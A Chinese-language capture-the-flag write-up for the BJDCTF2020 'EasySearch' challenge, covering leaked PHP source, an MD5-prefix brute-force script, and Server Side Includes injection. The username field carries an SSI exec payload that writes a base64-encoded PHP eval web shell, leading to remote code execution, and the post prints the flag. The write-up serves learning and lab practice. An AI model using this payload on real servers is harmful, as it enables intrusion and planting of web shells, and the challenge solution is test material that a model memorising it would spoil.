这篇是在做[BJDCTF2020]EasySearch的时候写的,主要还是基础知识还不够广泛导致不会利用shtml。

原理

介绍一下shtml,全称Server Side Includes HTML,主要作用是再HTML上插入服务器端的指令,语法是<!--# -->,例如<!--#exec cmd="command" -->便是运行command指令。这也没什么难度的,就是得有这个知识。

题目分析

一个登录界面,先试试弱密码和sql注入,发现都没用,再抓个包,也发现数据包没有什么可利用的点。那就开始目录扫描,最后扫出来index.php.swp可访问,那么访问查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

分析一下代码,定义了get_hash()函数进行sha1运算,再看下面,用post传username且不能为空,又定义了admin字符为”6d0bc1”,让我们用post传password并让password的md5前6位等于”6d0bc1”,这好办,写个脚本跑一下。

1
2
3
4
5
6
7
8
9
10
import hashlib
import string
import itertools
for length in range(1, 7):
for item in itertools.product(string.ascii_lowercase + string.digits, repeat=length):
s = ''.join(item)
result = hashlib.md5(s.encode()).hexdigest()
if result[:6] == '6d0bc1':
print(f'找到了匹配的值!字符串 {s} 的MD5前6位是c4d038')
break

跑出来password可以等于”byae0”和”ap373t”。

接下来继续分析:
利用get_hash()创建一个shtml,把username写进去。在上方的原理部分也写过了,shtml可以运行exec函数,那么我们只需要让<!--#exec cmd="echo <?php eval($_POST["nebu"]);?> > nebu.php" -->被写进去即可生shell,这里得把payload变成<!--#exec cmd="echo PD9waHAgZXZhbCgkX1BPU1RbIm5lYnUiXSk7Pz4=|base64 -d>nebu.php"-->。因为直接传跑不出来,原因还没找到。

右边又url_is_here,访问url

可以看到运行成功了,那么访问/public/nebu.php进行rce即可

成功拿到flag:flag{f28c3c88-581a-4719-8799-6525d92ac6e3}

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝